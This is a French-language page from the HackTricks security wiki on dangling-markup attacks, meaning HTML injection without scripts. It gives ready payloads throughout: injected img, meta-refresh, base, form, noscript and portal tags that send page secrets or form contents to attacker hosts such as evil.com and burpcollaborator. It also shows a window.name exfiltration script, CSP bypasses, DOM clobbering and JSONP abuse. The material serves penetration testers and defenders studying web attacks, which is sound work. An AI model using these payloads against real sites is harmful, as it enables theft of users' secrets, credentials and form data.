# Dangling Markup - injection HTML sans script

{{#include ../../banners/hacktricks-training.md}}

## Résumé

Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS** ](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
Elle est également utile si un **secret est enregistré en texte clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous voulez induire en erreur l'exécution de certains scripts.

Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Content Security Policy**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).

## Applications principales

### Vol de secrets en texte clair

Si vous injectez `<img src='http://evil.com/log.cgi?` lorsque la page est chargée, la victime vous enverra tout le code entre la balise `img` injectée et la prochaine citation à l'intérieur du code. Si un secret se trouve d'une manière ou d'une autre dans ce morceau, vous le volerez (vous pouvez faire la même chose en utilisant une double citation, regardez ce qui pourrait être plus intéressant à utiliser).

Si la balise `img` est interdite (en raison de CSP par exemple), vous pouvez également utiliser `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Notez que **Chrome bloque les URL HTTP** contenant "<" ou "\n", donc vous pouvez essayer d'autres schémas de protocole comme "ftp".

Vous pouvez également abuser de CSS `@import` (enverra tout le code jusqu'à ce qu'il trouve un ";")
```html
<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;
```
Vous pouvez également utiliser **`<table`** :
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Vous pouvez également insérer une `<base` tag. Toutes les informations seront envoyées jusqu'à ce que la citation soit fermée, mais cela nécessite une interaction de l'utilisateur (l'utilisateur doit cliquer sur un lien, car la balise de base aura changé le domaine pointé par le lien) :
```html
<base target='        <--- Injected
steal me'<b>test</b>
```
### Vol de formulaires
```html
<base href="http://evil.com/" />
```
Ensuite, les formulaires qui envoient des données vers le chemin (comme `<form action='update_profile.php'>`) enverront les données vers le domaine malveillant.

### Vol de formulaires 2

Définissez un en-tête de formulaire : `<form action='http://evil.com/log_steal'>` cela écrasera l'en-tête du formulaire suivant et toutes les données du formulaire seront envoyées à l'attaquant.

### Vol de formulaires 3

Le bouton peut changer l'URL vers laquelle les informations du formulaire vont être envoyées avec l'attribut "formaction" :
```html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
```
Un attaquant peut utiliser cela pour voler des informations.

Trouvez un [**exemple de cette attaque dans ce document**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).

### Vol de secrets en texte clair 2

En utilisant la technique mentionnée ci-dessus pour voler des formulaires (injecter un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ de saisie :
```html
<input type='hidden' name='review_body' value="
```
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et le prochain guillemet double dans le HTML. Cette attaque mélange "_**Vol de secrets en texte clair**_" avec "_**Vol de forms2**_".

Vous pouvez faire la même chose en injectant un formulaire et une balise `<option>`. Toutes les données jusqu'à ce qu'une balise fermante `</option>` soit trouvée seront envoyées :
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Injection de paramètres de formulaire

Vous pouvez changer le chemin d'un formulaire et insérer de nouvelles valeurs afin qu'une action inattendue soit effectuée :
```html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines

<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
```
### Vol de secrets en texte clair via noscript

`<noscript></noscript>` est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome à [chrome://settings/content/javascript](chrome://settings/content/javascript)).

Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par un attaquant sera d'injecter ceci :
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Contournement de CSP avec interaction utilisateur

Dans cette [recherche de portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), vous pouvez apprendre que même dans les environnements **les plus restreints par CSP**, vous pouvez toujours **exfiltrer des données** avec un peu d'**interaction utilisateur**. Dans cette occasion, nous allons utiliser le payload :
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Notez que vous demanderez à la **victime** de **cliquer sur un lien** qui le **redirigera** vers un **payload** contrôlé par vous. Notez également que l'attribut **`target`** à l'intérieur de la balise **`base`** contiendra du **contenu HTML** jusqu'à la prochaine apostrophe.\
Cela fera que la **valeur** de **`window.name`** si le lien est cliqué sera tout ce **contenu HTML**. Par conséquent, comme vous **contrôlez la page** à laquelle la victime accède en cliquant sur le lien, vous pouvez accéder à ce **`window.name`** et **exfiltrer** ces données :
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Workflow de script trompeur 1 - Attaque par espace de noms HTML

Insérez une nouvelle balise avec un id à l'intérieur du HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée :
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />

... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### Flux de script trompeur 2 - Attaque par espace de noms de script

Créez des variables à l'intérieur de l'espace de noms javascript en insérant des balises HTML. Ensuite, cette variable affectera le flux de l'application :
```html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### Abus de JSONP

Si vous trouvez une interface JSONP, vous pourriez être en mesure d'appeler une fonction arbitraire avec des données arbitraires :
```html
<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })
```
Ou vous pouvez même essayer d'exécuter du javascript :
```html
<script src="/search?q=a&call=alert(1)"></script>
```
### Abus d'Iframe

Un document enfant possède la capacité de voir et de modifier la propriété `location` de son parent, même dans des situations de cross-origin. Cela permet d'incorporer un script dans un **iframe** qui peut rediriger le client vers une page arbitraire :
```html
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
```
Cela peut être atténué avec quelque chose comme : `sandbox=' allow-scripts allow-top-navigation'`

Un iframe peut également être abusé pour divulguer des informations sensibles d'une autre page **en utilisant l'attribut name de l'iframe**. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait que **les informations sensibles apparaissent à l'intérieur de l'attribut name de l'iframe** et ensuite accéder à ce nom depuis l'iframe initial et le divulguer.
```html
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>

<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
Pour plus d'informations, consultez [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)

### \<meta abus

Vous pouvez utiliser **`meta http-equiv`** pour effectuer **plusieurs actions** comme définir un Cookie : `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ou effectuer une redirection (dans 5s dans ce cas) : `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`

Cela peut être **évité** avec un **CSP** concernant **http-equiv** ( `Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)

### Nouveau \<portal HTML tag

Vous pouvez trouver une **recherche très intéressante** sur les vulnérabilités exploitables du tag \<portal [ici](https://research.securitum.com/security-analysis-of-portal-element/).\
Au moment de la rédaction, vous devez activer le tag portal sur Chrome dans `chrome://flags/#enable-portals` sinon cela ne fonctionnera pas.
```html
<portal src='https://attacker-server?
```
### Fuites HTML

Toutes les façons de fuir la connectivité en HTML ne seront pas utiles pour le Dangling Markup, mais parfois cela pourrait aider. Vérifiez-les ici : [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)

## SS-Fuites

C'est un **mélange** entre **dangling markup et XS-Fuites**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas de JS) dans une page de la **même origine** que celle que nous allons attaquer. De l'autre côté, nous n'allons pas **attaquer** directement la page où nous pouvons injecter du HTML, mais **une autre page**.

{{#ref}}
ss-leaks.md
{{#endref}}

## XS-Recherche/XS-Fuites

XS-Recherche est orienté vers l'**exfiltration d'informations cross-origin** en abusant des **attaques par canal auxiliaire**. Par conséquent, c'est une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme [**Injection CSS**](../xs-search/index.html#css-injection) ou [**Chargement paresseux d'images**](../xs-search/index.html#image-lazy-loading)**.**

{{#ref}}
../xs-search/
{{#endref}}

## Liste de Détection de Brute-Force

{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}

## Références

- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
- [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)

{{#include ../../banners/hacktricks-training.md}}